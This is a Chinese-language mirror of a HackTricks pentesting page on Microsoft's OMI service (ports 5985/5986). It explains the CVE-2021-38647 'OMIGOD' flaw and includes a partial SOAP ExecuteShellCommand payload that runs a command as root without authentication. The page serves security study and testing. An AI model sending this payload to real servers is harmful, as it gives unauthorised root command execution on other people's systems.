mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
2.0 KiB
2.0 KiB
5985,5986 - Pentesting OMI
{{#include ../banners/hacktricks-training.md}}
基本信息
OMI 被微软作为一个 开源 工具发布,旨在进行远程配置管理。它特别适用于在 Azure 上使用以下服务的 Linux 服务器:
- Azure Automation
- Azure Automatic Update
- Azure Operations Management Suite
- Azure Log Analytics
- Azure Configuration Management
- Azure Diagnostics
当这些服务被激活时,进程 omiengine
以 root 身份启动并监听所有接口。
默认端口 使用的是 5985 (http) 和 5986 (https)。
CVE-2021-38647 漏洞
如在 9 月 16 日观察到的,部署在 Azure 上的 Linux 服务器由于 OMI 的一个易受攻击版本而易受攻击。此漏洞在于 OMI 服务器通过 /wsman
端点处理消息时不需要身份验证头,错误地授权了客户端。
攻击者可以通过发送一个没有身份验证头的 "ExecuteShellCommand" SOAP 有效负载来利用这一点,迫使服务器以 root 权限执行命令。
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
...
<s:Body>
<p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
<p:command>id</p:command>
<p:timeout>0</p:timeout>
</p:ExecuteShellCommand_INPUT>
</s:Body>
</s:Envelope>
有关此CVE的更多信息 请查看此处。
参考文献
- https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/
- https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/
{{#include ../banners/hacktricks-training.md}}